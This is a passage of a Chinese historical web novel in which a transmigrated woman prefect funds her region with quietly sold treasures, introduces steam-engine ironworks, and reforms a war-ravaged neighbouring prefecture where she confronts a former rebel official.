这样的好东西,皇家那群酒囊饭袋能有,他们为什么不能? 东西都流出来了。 谁还送回去啊。 尤其是喜爱字画的人家。 多少字画都在王公贵族,甚至皇宫库房里。 久不见天日,实在太过可惜。 还不如放在自己家中。 他们才懂得欣赏啊。 如果只是欣赏也就罢了。 其中一幅字,甚至是他们先祖写的。 江南有名的书法家,写了一幅自己都赞叹的好字。 听说那副字写完,书法家口吐鲜血,整个人精力耗尽。 万幸,这字足够好,谁见了都要称赞。 这书法家找了能工巧匠装裱,本来想给后人当传家宝。 岂料被巧匠客人看到。 那客人身份不俗,是京城某位王公大臣家的大管家。 也是来装裱字画的,看到这位书法家的画作,立刻动了心思。 要知道好字难求,就算是书法家本人,也觉得自己再也写不了这么好的字,故而婉拒对方。 对方自然不会轻易放弃,纠缠了好久。 本来这书法家还觉得高兴呢。 觉得有人千金来求字。 可接下来他在外做官的儿子被刁难,兄弟好友也被牵连。 细问之下,才知道是某位王爷动的手脚。 那王爷还向先皇进谗言。 说自己本想把那一幅字献给皇上,谁知道那人给脸不要脸。 故而生怨,让这一家都被连累。 书法家无奈,只能把那副字送上去。 可那时候已经得罪先皇。 故而东西送出去,也没得好脸。 听说那字也被收入库房,皇上跟那位王爷根本不在意。 想到自己吐血而写的字,就被这样对待。 这位书法家含恨而亡。 家族众人连他的丧事,都只能草草办了。 古人事死如事生。 丧事如此潦草,梦里都是长辈的责问。 但更多的,还是对那幅字的执念。 而如今流传出来的字画里。 就有这幅字。 这家说什么,都要买回来的。 只要能告慰已故长辈,银子不算什么。 至于这幅字怎么来的。 大家默契闭嘴,反正能重新到他们手里就行。 其他物件各有渊源。 当初怎么进的京城各家库房,竟也是不便明说的。 只讲其中一枚斗大的珍珠。 死了多少采珠女,才捧到岸上。 被当地官吏发现后,又是一番厮杀,最后成为某位大臣家女眷的饰品。 取之尽锱铢,用之如泥沙。 如今换成金银,虽不知去处,大家也不太在意。 各家不多商议,便出手买卖。 若是下手稍晚的,隔天物件就没了。 甚至还有闽地的大户人家来买。 说是装船出海,海外很多皇帝也喜欢,到时候能运来无数香料黄金。 大家也在猜测,背后卖家到底是谁。 可人家场地设的秘密,所用的人手,也都是生面孔,完全无从猜测。 对方也说了。 不往下查,那以后还有东西。 一定要刨根问底,就没意思了。 这么说,好像也没问题? 二月十二运过去的两箱宝物,二月二十三,悉数清空。 毕竟东西看着不少。 但买家更多啊。 好在二月二十六,就有新一批货物运到。 叶家在南江县的掌柜亲自押送。 六箱沉甸甸的货物,由祝芳洁祝县丞交给他。 叶家掌柜一路上小心谨慎,再交给叶大少爷叶山鸣。 相信用不了半个月,京城而来的各种宝物,就会到江南各大家族手中。 叶掌柜没有过多停留,把六箱财物以及各色名贵药材放下。 又带二百五十四万两银票离开。 他并未直接回南江县,而是低调去了趟府城。 三月初九,苏清拿到银票,便是那六箱货物的预付款,以及上次买卖清单。 这六箱货物预计能卖三百六十万两银子。 减去一成给叶山鸣,也还有三百二十四。 但上次货物卖完,还欠叶家七十万两。 所以直接从这次货款里扣除。 也就是还余二百五十四万。 账目没什么问题。 问题在于,叶山鸣给钱给的太爽快了。 即使那些物件有人买,但直接预付二百多万两银子,这压根不像他的作风啊。 或者说,从他抽风,说什么不让自己跟顾从斯成亲,就大方的不可思议。 别说苏清疑惑了。 叶家掌柜都道:“大少爷说,知道你这边急用钱,所以先预付了。” “不过随着货物越来越多,宝物价格会下降,想要卖个好价,就要慢一些,让您不要着急。” 不仅提前预付货款,甚至为了卖个好价,提前商议。 对比广乐府欠货款的模样,简直一个天上一个地下。 关键是,他们大少爷真有那么好心吗? 叶家掌柜都不敢保证啊。 送走掌柜的,苏清才真正思考叶山鸣的想法。 要说嫁娶这事,一直不在她脑子里。 穿越后忙得要命,谁有空想这种事。 对于叶山鸣所谓的求娶,她也知道口头上说说。 但这样大方,看着就不对劲。 只是苏清也没想太久。 如今银子到手,对她来说,才是正经事。 如今还欠叶家一百七十万。 手头这些银票足够还了的。 却也不能一口气都给出去,否则太过扎眼。 至于剩下的八十四万。 既可以负担驻军粮饷,也能及时给供货商们付账。 苏清把罗主簿,邬户司喊过来。 这都是自己人,苏清不说银子哪来的,两人也默契不问。 总之这两人,定能把账目做好,该还钱还钱,该付账付账。 甚至额外拨出一部分银子,补贴本地种子跟青苗价格。 如果说之前的耕牛农具,是贩子们故意抬高价格。 那这些种子青苗,却是没有办法。 本地耕地面积增加,青苗要从外地运过来,成本就在那。 现在好了,有了官府补贴,种子跟青苗价格就能下去。 苏清还道:“鼓励咱们本地的青苗种子商人,明年多预备些,价格不宜太高。” 一边补贴,一边本地发展。 明年情况会好上很多。 手头有钱,苏清也能放手去做事。 还有武器作坊那边的炼铁技术研发,以及依松县的修复。 各地城墙的维护。 甚至皋青州那边的拨款。 算来算去,罗主簿欲言又止。 邬户司冷酷道:“大人,这些银子不够用的,您别想了。” 想也不行吗! 这每一笔银子都要花的啊! 炼铁技术。 依松县。 城墙。 皋青州。 哪个不重要! 苏清说的理直气壮。 但邬户司依旧冷酷。 “苏大人,我们只剩八十四万,不是八百四!” 说完之后,邬户司自己都顿了下。 怎么办。 她已经开始觉得八十四万很少了吗? 这都是广乐府一年的税收了啊。 说到底,还是广乐府底子薄。 不过今年的本地税收,应该会上涨些。 一个是各地隐田被查出来,二是新增田地不少。 还有农具收入,也是个进项。 苏清他们三人仔仔细细算了账。 只能先尽着补贴青苗,炼铁技术,以及依松县。 剩下的,则要等下一笔“意外”收入,还有秋税过后再说。 城墙确实不算着急,这两年有所损伤,就是依松县跟尚口县。 而皋青州跟不能急。 晏总兵还在那边收拾叛军。 叛军首领被抓后,除了被俘虏的两万多人,以及伤亡三万多。 剩下四万多叛军,一部分回家种地为生,还有一两万落草为寇,在皋青州各地劫掠。 他们人数虽然不算特别多。 但个个对当地地形熟悉,想要全部抓获,还需要一定时间。 罗主簿跟邬户司,再加上苏清三个。 最后长舒口气。 虽然嘴上说着,这些钱还不够用。 但这种意外之财,实在让广乐府喘了一大口气。 也会让本地百姓日子更松快些。 跟在苏清身后的云喜绿兰,他俩是知道这些银子哪里来的。 苏姐姐从来没有避讳过他们。 他俩甚至摸过那些宝物。 要说那些东西,也确实漂亮,确实珍贵。 送出去的时候,两人还觉得心疼。 可苏姐姐说,这东西放在这,只不过是死物。 死物是没有意义的。 再漂亮的东西,也是物件。 当时他们还不懂这是什么意思。 看到东西变成银子,其实感触还不深。 现在知道,那些东西不仅能还了广乐府的外债。 还能平息本地青苗种子价格。 让农户们低价买种子。 还能发展炼铁技术,再抚慰千疮百孔的依松县。 原来,死物没有意义,值得是这个。 好看的宝物,极多的银子。 都没有意义。 只有换成让大家吃饱穿暖,换成城池建设,换成种子,换成技术。 才有意义。 因为这些东西落到每一个人身上虽然不多。 却能改变大家的生活。 果然,广乐府衙门补贴青苗种子价格的消息出来。 别说本地农户了。 周围几个州府的知府知州们纷纷来信。 全都一个意思。 苏清苏知府? 你疯了? 再这样下去,我们这的百姓,都要去你们那了! 别说百姓了。 他们家亲朋好友,都要去你们广乐府过日子了啊。 但凡民生物件,你全都便宜再便宜。 这合适吗?! 还有,你哪来的银子啊。 欠人家叶家花家的银子。 难道不还了? 苏清这边也好回答。 他们靠着药材买卖赚了不少银子。 还有药谷村的珍稀药材,更是价值不菲。 现在武器作坊造出来的农具,同样有盈利啊。 什么? 查账? 你算什么东西,查广乐府的账。 而花家叶家并不言语。 叶家欠款已经结清。 花家的银子也给了大半,但大家默契闭嘴。 闷声发大财这种事,不用多讲的。 再者,不管苏清银子怎么来的。 她都没用的自己身上。 哪一件事不是为广乐府着想。 可她做出这种事,却只字不提,一味的建设本地,惠及百姓。 花家大公子骂她蠢。 花又菱有些沉默,但花景明是罕见嘲讽他这个大哥。 至于花老爷却有些沉默。 作为广乐府本地人,他对家乡做的事,甚至不如苏清这个外地来的。 这让他心里五味杂陈。 “以后她再让捐什么东西,多捐点吧。” 苏清既能护住广乐府,还能让本地过得更好。 他们也不能差事。 不过花景明的态度,倒是让花老爷多看几眼。 他何等人精,立刻找花又菱问话。 本地农户们自不用讲。 在这乱世当中,能在广乐府种田,简直是他们的幸运。 这世上可以没有皇上,没有太后。 但绝对不能没有苏清! 就算再迂腐的人,此刻都不觉得苏知府当知府有什么问题。 没功名怎么了,是个女的又怎么了。 除了她,没人能坐好这个位置。 而远在皋青州剿匪的晏总兵,不声不响地送来七箱物件,还放在南江县的库房当中。 晏总兵特意说了,这是从另一股叛军手中缴获。 并告诉苏清,到四月中旬之后,皋青州就会太平许多。 苏清看到这话,眼前一亮。 现在三月中旬。 还有一个月,她就能去皋青州了? 那边才叫一个山高皇帝远。 不对,那边有她想要的东西。 铁矿。 武勇王爷能坚持那样久,不就因为那边有铁矿,可以源源不断地造出武器。 而她这边支出最高的,也就是各种铁料皮料。 皮料暂且不说。 只讲花家送来的生铁,是花又菱从隔壁山阳府买来的铁矿石,粗炼成生铁,再送到广乐府炼制。 随着他们广乐府需求增多,山阳府的铁矿价格节节攀升。 花家跟府衙都去谈过,但作用不是很大。 所以苏清早就想换卖家了。 之前打着仗,不好断了货源。 现在终于腾出手了。 也正因为这个,对于山阳府百姓,甚至奴仆卷带财物过来,她也是不阻拦的。 不仅不阻拦,甚至帮他们安家落户。 现在隔壁无人管理的皋青州,正是挖铁矿的好地方。 她怎么可能放过。 趁着皇上没有派知州过来。 她定会把地方先占了。 这甚至也是她极力挽留晏总兵的原因。 晏总兵既能打仗,还能占着这个位置。 如果他回了京城,那新知州立刻就会过来。 新知州若跟她合拍还好。 不合拍的话,说不定跟山阳府一起,高价卖她铁矿啊。 现在晏总兵把那边叛军清扫的差不多了。 她的低价铁矿,岂不是唾手可得! 一个月时间。 说长不长说短不短的。 苏清对云喜道:“请武器作坊蒋管事,还有窦工匠弓夫子过来。” 半个月过去,他们想好如何改进炼铁技术了吗? 答案是。 没有。 三人挂着黑眼圈,根本想不出来啊。 弓夫子倒是有不少天马行空的念头,都被大家拦下来。 那方法不起作用就算了。 很容易死人的。 不行不行,换个方法吧的。 他们三人最近的行踪,苏清掌握的一清二楚。 蒋管事想让武器作坊扭亏为盈。 后面两人,弓夫子对这些工艺极为热衷,改造各种锅炉的心,根本藏不住。 窦工匠更纯粹点,他就是想做出更好的兵器。 不管目的如何,确实抱着同一个目标。 改造炼铁技术。 当然,也有苏知府的缘故。 苏知府虽然只是“随口一说”,但大家都听到心里,记在心里。 并且想实现。 尤其是最近这段时间。 苏知府为百姓做了那么多事,可他们连大人的吩咐都做不了。 这让三人在不同程度上有些羞愧。 可更让他们羞愧的事情发生了。 苏清知道他们的决心,让绿兰把简易蒸汽机的图纸递给三人。 “这只是一个概念图。”苏清直接道,“我只知道大概的运行逻辑跟原理。” “如何建造,零件用什么材质,密封性,效率,以及功率,就要靠你们了。” 这会在苏清书房,除了云喜绿兰。 就是罗主簿邬户司。 他们都是苏清绝对的心腹。 蒋管事三人这下明白,为什么大人的心腹都在这。 原来是告诉他们这等重要的事。 苏知府知道如何改进炼铁技术?! 不过这蒸汽机是做什么用的? “不仅能提高锅炉温度,还能控制温度。”弓夫子立刻道,“对于炼铁技术,这两点最为重要。” 他跟窦工匠,一直都为这件事发愁啊。 人也好,马匹也好,都达不到那么高的工作效率。 可苏大人这个蒸汽机,却能做到。 而且是一定可以。 窦工匠弓夫子对这些东西再熟悉不过。 有些东西本就是一点就通。 所以两人的反应,也在苏清意料之中。 可他们三个人的狂喜跟愧疚,却是苏清没想到。 三人先是兴奋。 终于能提高炼铁技术了! 不管是武器还是农具,他们都能造得更好! 困扰多时的问题有了答案。 现在更为愧疚。 他们还是孩子吗。 怎么做什么事情,都要苏知府手把手教啊! 苏清却懒得多解释,只好笑道:“我也是运气好,才知道这些东西的。” “而且我只有这一张图纸,剩下的,可全靠你们了。” 说着邬户司无奈接话:“苏大人给你们拨了款。” “如果需要研发资金,可以来申请。” 不仅给图纸。 还给银子?! 这哪是手把手教学,分明是把饭喂到他们嘴里了! 罗主簿心道。 等他们得知,苏知府很快就会启程去皋青州时,不知道又要哭多久。 毕竟这次去皋青州,是为了弄到铁矿。 有材料,有图纸,还有启动资金。 若还是做不成。 那就再招人来做。 如今的广乐府,想要什么人才要不到啊。 但现在的消息,就够三个人激动的了。 窦工匠弓夫子并非徒有虚名。 一个在武器作坊打转一辈子。 另一个确实是墨家某支传人,给他们一定时间,他们不会让苏清失望。 可不用苏清多讲,三个人恨不得直接拿出成绩出来。 好报答苏大人的知遇之恩。 人这辈子,能遇到这样的上司,就偷着乐吧! 而本地百姓能遇到这样的知府,也偷着乐吧! 皇上? 皇上遇到这种官员,也是八辈子修来的福气。 四月十一,广乐府这边差事办得差不多。 苏清依旧留下罗主簿邬户司。 她要前往皋青州了。 看看那边,到底是个什么情况。 可别忘了。 那边除了铁矿。 还有一件好处。 山高皇帝远。 第59章 永晟五年,四月十一。 广乐府苏知府离开府城。 这次离开,大家也没那么关注。 因为知道,大人肯定有自己原因? 而此时的京城。 正在为苏清即将去的皋青州争论不休。 皋青州在众人耳中,是比广乐府跟复杂的地方。 当初广乐府什么样子,已经不用过多赘述。 而皋青州的情况,比那边还难缠。 只说一点,这二十多年来,皋青州都是叛军武勇王爷的封地! 想想也知道,这里安插了多少叛军。 稍有不慎,肯定会死无全尸。 而且武勇王爷至今在距离皋青州不算远的南江县关着。 万一他逃出去了呢。 肯定去会皋青州的啊。 到时候朝廷任命的众多官员,必然人首分离。 就算武勇王爷逃不过去。 地界里小股叛军,以及落草为寇的逃兵。 都不容小觑。 去那是做知州,还是收复失地啊? 京城官员的性格,大家也都知道。 迎难而上,绝对不是他们的风格。 避之不及,才是他们的态度。 皇上看着众人推脱,脸色十分难看。 都说皋青州是烫手山芋,果然没错。 而皇上身边梁公公,心里却稍稍叹气。 或许是在军中久了,他身上难免有些军中肃杀之气。 看着京城官员庸庸碌碌,软弱无能,竟有些怀念晏总兵跟苏知府的办事风格。 梁公公心中一动,心里忽然有个主意。 既然大家都不想去,而皋青州又需要人接手。 他心中倒是有个人选。 退朝之后,看着皇上一脸为难,梁公公决定上前,帮陛下排忧解难。 说起来,梁公公自二月回京之后,并不在皇上身边伺候。 他离京多年,难免跟皇上生疏。 好在有苏清给他的宝物开路,很快又站在勤政殿左右。 此刻更要为皇上解决难题。 “陛下,奴婢心中有个人选,不知当不当讲。”梁公公开口后,就见皇上挥挥手。 梁公公道:“皋青州距离广乐府极近,而那广乐府知府苏清,颇有些才干。” “想来让她接手,倒是不错。” 旁边齐内官抬头,眼里闪过惊喜。 云喜绿兰都在苏清左右。 若苏清权柄增加,两人只有好处的。 梁公公还想再劝,岂料皇上却摇摇头,脸上闪过忌惮:“她不行。” 为什么?! 勤政殿众人惊愕,就连赶来的吏部尚书都有些吃惊。 吏部尚书也是为皋青州知州一职而来。 他进门之前,就有人告诉他梁公公的提议,在他看来,也是不错的。 在他们看来,苏清能力不错。 关键还是个女子。 等她把皋青州整顿的差不多了,也方便找人接手。 更不会有拥兵自大的风险。 皇上看着他们,冷笑道:“这般看不起女子,倒是有意思。” 皇上这话,也不是替苏清辩解。 而是他深知,女的若是掌权,就更不愿意放手。 他深受其害。 说话间,太后让人带话,问晏总兵什么时候回来,以及皋青州知州,皇上可有想法。 皇上让人糊弄过去。 这两个问题,他都没有答案。 弟弟不回来,说是要养伤,要清扫叛军。 这确实很重要。 母后一直催促,只让人觉得不耐烦。 至于皋青州知州。 还是另选他人。 苏清? 绝对不行。 让她这个女子当知府,已经是网开一面。 等局势再平稳些,她也该换下去了。 今年乡试,明年会试,总会有合适的人上来。 太后那边见皇帝拿不定主意,特意召他前去说话。 梁公公跟在身后,忍不住摇头,当晚便把这里的情况写信寄给苏清。 让她早做准备。 广乐府今时不同往日,还是握在自己手里更好。 至于皋青州,最好不要太费心思,省得给别人做嫁衣。 苏清收到信的时候,人已经在皋青州了。 她刚从依松县出来,依松县有崔县令在,基本不用操心。 再加上她还带了拨款拨粮,以及本地将士的抚恤金。 这让崔县令更好行事。 如果说广乐府其他地方百姓,今年种子青苗都有补贴,农具也比较便宜。 那依松县的这些东西,近乎于白送。 这里的百姓实在太苦了。 多年战乱,让本地人家家有人丧命,如今几万人,基本都在县城附近住着。 不过开春之后,倒是有不少皋青州百姓主动过来。 虽说两边打了好几年。 但百姓之间同宗同源,又没有真正的仇怨,加上崔县令引导,故而没起什么冲突。 唯一让他们发出疑问的是。 依松县都这样苦了。 你们皋青州百姓还过来? 那你们皋青州是什么样子? 此言一出,更是激起无数人心酸泪。 就拿抚恤金来说。 广乐府这边不管怎么困难,还是挤出银子给到各家。 以及广乐府士兵受伤,更有专门的部门照料。 而皋青州那边的士兵,除了跟在武勇王爷身边的老兵之外,其他人基本都是炮灰。 尤其是本地百姓,所有又苦又累的活,基本都交给他们。 无论男女老少,都要挖战壕,挖铁矿。 武勇王爷所谓的胜利。 都是靠压榨他们得来的 提起这些事,依松县百姓自然垂泪。 他们县被占领时,自家也是这样被奴役的。 前前后后两三年时间,就把依松县变成这个样子。 不敢想皋青州的情况有多糟。 以至于苏清临走的时候,依松县崔县令还道:“皋青州情况非常复杂,您真的要小心。” 苏清道:“放心,晏总兵就在缙自县等着。” “对了,听说你之前有个上司,就在皋青州做官员,你对他了解多吗?” 说到这,崔刚捷连连叹气。 当年他得罪同乡,就是在那位上司手底下做幕僚。 他做幕僚的时候,真的没想过上司有不臣之心,谁能想到他竟跟着武勇王爷造反。 之前真的没看出来啊。 上司造反后,他几经转辗,才来了广乐府做县令。 还是全靠苏知府提携。 崔刚捷把自己知道的情况都说了,苏清稍稍点头:“好吧。” “到时候,可能要你去皋青州一趟,可以吗?” 崔县令自然应下,不过他也道:“六七月份县里没什么事,其他时间只怕不成。” 虽说作为县令,他不用亲自下地。 但五月份药材收获,八九月份粮田收获,他走不开的。 依松县已经这样苦了,他不能拖后腿的。 苏清好笑,点头答应。 崔县令把苏知府送出广乐府,正担心去皋青州缙自县的路上,会不会有什么危险。 远远就看到晏总兵的身影在前面。 崔县令瞬间放心。 有总兵大人护送,周围的宵小必然不敢靠近。 一直到缙自县,苏清看完梁公公的信件,便递给晏总兵同看。 晏铮州自然知道,信件内容是什么。 论在京城的人脉,他肯定更胜一筹。 晏铮州直接问道:“还要管此地吗。” 明知道皇上的态度,也明知道皇上甚至连广乐府知府的位置,都不愿意给她留。 那苏清还要管皋青州吗? 苏清只问:“换做是你,你会管吗?” 其实不用晏铮州回答。 他的行动已经做出来了。 皇上还想卸他兵权,难道他没有来剿匪剿灭叛军吗? 苏清的答案是肯定的。 皇上远在天边,难道还能管得了这里? 晏铮州没说话,带着苏清进了县衙。 缙自县没有县令,只有几个本地书吏苦苦支撑。 说是苦苦支撑,其实也没什么事做,让衙门不至于关门罢了。 皋青州共有六个县,基本都是这个情况。 苏清带来的书吏长随等人,开始了解缙自县的情况。 缙自县距离依松县极近,苏清他们上午出发,中午就到地方。 所以这里从风土人情到山川地貌,基本跟广乐府大半地方,都没什么太大区别。 只是人口跟耕地面积,相差实在太多。 武勇王爷在这多少年,就强征暴敛了多久。 要说朝廷那时候不知道吗? 自然是知道。 先皇却觉得,只要这个弟弟不闹事,这些都是小问题。 远在京城的先皇觉得是小问题。 但近在咫尺的皋青州百姓,却是苦不堪言。 云喜跟绿兰来报:“大人,缙自县耕地跟人口都不明,能查到的,也只是四五年前的数字。” “据说也是不准确的。 “衙门现在有七个书吏,上千差役。但是能用的人,不超过十个。” 绿兰说着,有些不解:“苏姐姐,为什么会有上千差役啊。” 云喜同样觉得疑惑。 要说他们也比一般人见得多些,却也不知道为什么会这样。 苏清道:“很多差役并不是衙门的人,只是给衙门官吏交了银子,挂了个差役名头。” 然后为祸乡里。 有了那层皮,就可以肆意盘剥百姓,相当于给衙门交钱,衙门对他们横向无忌做个保障。 原来是这样。 那本地普通百姓也太惨了吧。 确实很惨。 再查下去,几乎忍不忍赌。 武勇王爷问下面要钱要粮要铁矿。 地方爪牙便借机揽财,一层层压下去,地方上的税收,八九成都会被收走。 还要面临恶吏们的欺辱。 男的被抓壮丁,女的沦为娼妓。 孩子们则被拐走买卖,从小沦为奴仆。 绿兰眼睛红肿,显然有些接受不了。 云喜看着被晏总兵救回来的孩子们,以为自己无父无母,过得就够惨了。 但跟他们相比,自己的运气,似乎有些格外的好。 这些孩子自出生起,父亲多半就已经死了。 母亲艰难把他们带到两三岁,就会被人强行抱走。 有的送到矿洞,有的去端茶倒水,还有的喂牛喂羊。 “所以有些母亲看到孩子出生,就会先一步掐死他们。” 为什么? 以免受苦。 苏清叹口气,跟着苏清过来的官吏们,实在有些听不下去。 若跟广乐府对比,这里实在是人间炼狱。 大家看到的,不是什么武勇王爷,先皇,乃至皇上之间的博弈。 而是实实在在百姓们的生活。 但苏清手头人不够,而且也不能光明正大从府学调人过来。 只能在当地招募识文断字的,从中挑选合适的人,把他们安排到各个岗位上。 原本的上千差役肯定要辞退,不仅辞退,更要查清他们的罪行。 空出来的农田,房屋。 则分给当地百姓,重新登记户口。 好让大家早日恢复正常生活。 对于这件事,普通百姓肯定举手欢迎。 但本地大户恶吏却是不准。 好在她这“文臣”不够多,“武将”却是足够的。 不说晏总兵,就讲他手下连飞扬等人,便足够把这些乡绅恶吏清扫干净。 在皋青州,苏清更不手软。 总要把这边的刺头清扫干净,才能让普通人安心。 一边招募书吏,一边惩治恶吏。 不到十日,缙自县也算焕然一新。 人口,耕田,户数,以及当地情况,一一统计上报。 虽说只是一个县的差事,但总感觉在废墟上重建房子一般。 还好,如今的新房子,让本地百姓十分欣喜。 要说登记户口,他们肯定不愿意。 但登记之后,就能分到房屋田地,这对他们来说,简直做梦都不敢想 为了田地,他们也要拼了。 就算是陷阱,他们也要试试。 可迎来的,并不是陷阱。 而是真真正正的分到了田地。 这对整个缙自县来说,无异议天上下红雨。 以至于苏清走的时候,不少百姓亲自来送。 皋青州其他各县也闻风而动。 知道苏清还要去其他五个县,那些恶吏,甚至大胆到想给朝廷上书。 说明苏清苏知府越权行为。 可这些书信,根本离不开本地,就被巡查的士兵们截获,最后到晏总兵手中。 留给本地恶吏们的选择,要么老老实实供述自己的罪行,要么远走他乡,以后再也不回来。 苏清跟晏总兵走遍皋青州六个县,刚开始还需要说服本地百姓,告诉他们清查人口,登记户籍的好处。 但到最后两个县的时候。 本地人直接出城相迎,他们已经等不及了。 他们也要分田地跟房屋! 苏清既然来了,肯定不会让大家失望。 整治当地官吏,重新丈量土地,分地分房子。 让更多人尽快恢复平静的生活。 从四月中旬开始。 一直到六月下旬。 一行人走遍皋青州六个县,最后终于到了州城。 皋青州用一句地广人稀来形容,还真的没错。 有时候方圆百里,竟没有一户人家。 皋青州百姓之苦,让苏清一行人愈发沉默。 也就是在这期间,云喜绿兰成长迅速,明显沉稳不少。 大家以为到了皋青州州城,情况能好些。 也确实比其他县城情况好点。 尤其是州城的城墙,被武勇王爷修得格外结实。 若那王爷死守此地,不去攻打广乐府,确实是块难啃的骨头。 但对方觉得,以如今顺昌国的情况,不占领更多地盘,那才是傻子。 只可惜遇到苏清这个知府。 否则谁胜谁负,还真说不准。 走到城内,就发现连城内道路都是大石板铺成,既方便运粮也方便运兵。 但看到州衙门,又是另一种感觉。 衙门前面还好,跟常规衙门差不多。 但后宅连着几处花园不说,住处奢华的仿若皇宫。 而这地方,也只是武勇王爷临时歇脚之地。 隔着一条街对面,才是王爷宅邸,基本占据州城最好的位置。 晏总兵介绍道:“底下还有一处密道,直通城外。” 这就是进可攻退可守? 未免也太厉害了啊?! 出乎大家意料的。 州城的经营情况,远比其他地方要好得多。 至少在这里,税收算是处于勉强正常的水平。 这跟晏总兵关系不大。 只跟此地的长官有关。 所以晏总兵打下皋青州之后,并未把对方换掉,只让阎协守在此看守。 苏清他们就是在阎协守如今的宅子里歇息。 苏清,晏总兵,连飞扬。 再有他们手下,一起搬到阎协守宅子里。 阎协守也在这里等候多时。 他们这些人,虽说在公务上多次接触。 但真正坐在一起吃饭,还是头一回。 可惜练兵的薛守备他们还在广乐府。 以及负责伤员的周大人已故。 否则这桌子上的人,还能更齐整。 而阎协守第一杯,敬的肯定是苏大人。 来了皋青州才知道,如果让武勇王爷攻下广乐府。 到时候会是什么人间炼狱。 等大家坐下吃饭,阎协守重重叹口气。 他表情苦闷。 看着明显有心事。 不过现在最要紧的,还是州衙门的事。 晏总兵道:“现在衙门长官名叫文瑞。” “你应该知道他,也有过交集。” 这让阎协守跟连飞扬都有些奇怪。 苏知府跟他文瑞怎么会有交集。 这位可是叛军啊。 他原本是某地吏部主事,听说武勇王爷造反后,携家带口过来投奔。 说什么要推翻顺昌国。 来这里之后,他负责皋青州州城内政。 皋青州州城城墙街道,都出自他手,其他的再无建树。 谁料却见苏清点头。 她不认识,却是知道的。 这文瑞,正是如今依松县县令崔刚捷的上司。 更是崔刚捷百思不得其解的事。 为什么性格极好,还一心为民的上司,竟然当叛军。 可以说文大人身上,充斥着自相矛盾。 苏清道:“我已经写信给崔县令,再有两日,他就过来了。” 如今六月份。 依松县那边终于闲下来。 崔县令也愿意过来。 至于这两日? 先休息休息吧。 跑遍整个皋青州,确实有些累了。 再者,也看看皋青州文大人什么反应。 这位文大人在晏总兵进城的第一时间,就做好赴死的准备。 只不过他这些年来,看起来像个笑话。 以为顺昌国朝廷不好,武勇王爷总能好些。 没想到都是一丘之貉。 竟也分不清,是朝廷那边差劲,还是这位差劲。 所以在文大人眼中,同为皇家人的晏铮州应该也差不多,都是皇家烂人。 可晏总兵看了他平时的公务,竟然让他继续管着州城,维持基本运转。 而总兵去年离开了一段时间,本以为他要回京。 谁料今年二月又回来清扫叛军了。 直到四月份,说是去接个人。 接来的人,也是大名鼎鼎。 顺昌国第一位女知府。 以朝廷的想法,不可能让她兼任本地知州吧? 而他们两个过来,一个用文一个用武。 直接收拾各地恶吏,听说杀的恶吏至少上百人。 还给了各地百姓分田地分房屋。 现在整个皋青州下面各县,全都对苏知府无比拥戴。 只剩最后一个地方。 皋青州州城。 而州城的人口以及经济,却又是本地最好的。 甚至此地的官员,也最为忠心。 不像下面各地一盘散沙,苏清动动手指,这些人就听话的不得了。 说直白点。 这是最难啃的骨头。 而且各地州城府城的位置,都是精心挑选过的。 只有掌握州城,才能彻底掌握皋青州。 这就像跟钉子,死死插在整个皋青州之上。 苏清过来的目的何在。 不言而喻。 而她最大的对手,便是文瑞文大人。 文瑞本人面无表情。 他这些年经历了太多事,对这些官员毫无兴趣。 无非是先忠后奸,还是一直奸佞的区别。 百姓在他们手里,区别根本不大。 苏清如今施恩于众人,也不过是想要更多好处。 当年武勇王爷还直接送粮食给百姓呢。 最后结果怎么样,大家心里都有数。 无非是装多久的问题。 所以他怎么可能把州城交给顺昌国这群虫豸。 就算退一万步说。 苏清这个女知府是个好官。 但她能坐稳这个位置吗? 以后还不是要交给顺昌国其他人手中。 到时候再想要回来,不知道有多难。 所以他不可能放手。 除非他死。 文瑞缓缓起身,本就削瘦的身形,此刻愈发清减。 今年四十三的文大人,面容较一般官员更年轻些,但他那双眼睛,却让人不忍多看。 文大人身边官员面面相觑。 可一个晏总兵,其实就可以让他们全都滚出衙门的。 现在再来一个苏清。 别说什么女子当知府可笑。 天知道,身为女子却能坐稳知府位置,是何等的能力。 跟她拼? 他们这些人,拼的过吗? 可文大人有自己的执拗。 他不想眼睁睁看着百姓落入顺昌国手中。 是的。 不想落入顺昌国。 文瑞文大人,依旧有谋逆的心。 他不相信顺昌国任何一个人。 但他们这些官吏,都是跟着文大人,只能咬牙跟随。 若是实在不成,再想办法吧。 于是苏清来到皋青州州城两日,吃了吃喝睡,就是跟晏总兵闲聊。 似乎跟衙门井水不犯河水。 直到崔刚捷风尘仆仆赶来。 崔刚捷满脸写着无奈。 既是觉得依松县事情极多,不好放手。 同样不知怎么面对原来的上司文瑞文大人。 当年他被同乡陷害,一家人走投无路。 正是文大人救他。 可也是文大人谋逆,让他不知如何自处。 但不管怎么样。 他都做不到伤害自己的前上司。 更不知道如何面对。 只是这些事,跟苏知府召见相比,那又是不一样的。 文瑞听说崔刚捷去见了苏清时,满脸写着疑惑。 谁? 崔刚捷? 他怎么来了?! 第60章 要问文瑞这辈子有没有对不起什么人。 崔刚捷绝对算一个。 当年崔刚捷被陷害,他心有不忍,便让崔大人给自己做幕僚。 日子虽贫苦些,但也衣食无忧。 但他跟崔大人心中都极为苦闷。 这世道,想做好官的人,求告无门。 有能力的,却被奸诈欺压。 尤其是看着崔大人的能力,他心里更恨那些贪赃枉法的官员。 在文瑞看来,顺昌国的官员们,没有一个好人。 包括他自己。 这样的日子过久了,积压在他心底里的苦就愈发无以言表。 在帮上司,再次隐瞒人口贩卖一案后。 文瑞是准备自杀的。 他不能在这样下去了。 看着百姓如牲畜般被买卖。 他好像什么也做不成。 这样的日子,他再也过不下去。 那天晚上,他已经绑好麻绳,准备直接吊死自己。 没想到却传来武勇王爷谋逆的消息。 武勇王爷说要清君侧,看不得顺昌国生灵涂炭,看不惯官场上尸位素餐。 为了百姓,为了苍生。 他不得不反。 放在现在的文瑞,他肯定明白,想谋逆的人,自然会找个好点的口号。 可那时候的他,却像找到知音一般,定要去投武勇王爷。 不仅他要投,还想带着崔刚捷一起。 崔大人当时的表情,他已经记不清了。 反正是满脸不赞同,甚至还拦着他,说那武勇王爷人品到底如何,大家并不知道。 而且他们是顺昌国官员,应该稳定地方才是。 但已有求死之心的文瑞才不管那么多。 他甚至发现,自己携家带口离开,当地长官竟然一点也没发现。 家眷都转移走了,长官还是整日花天酒地。 当然,文瑞也让崔刚捷躲躲。 可之后的事大家就知道了。 崔刚捷躲也是躲不成的。 官场上对他避之不及。 日子过的更加艰难。 可文瑞这边,也没过上想象中的日子。 他投奔武勇王爷初期,王爷还给几分好脸色,很多利民政策也是听的。 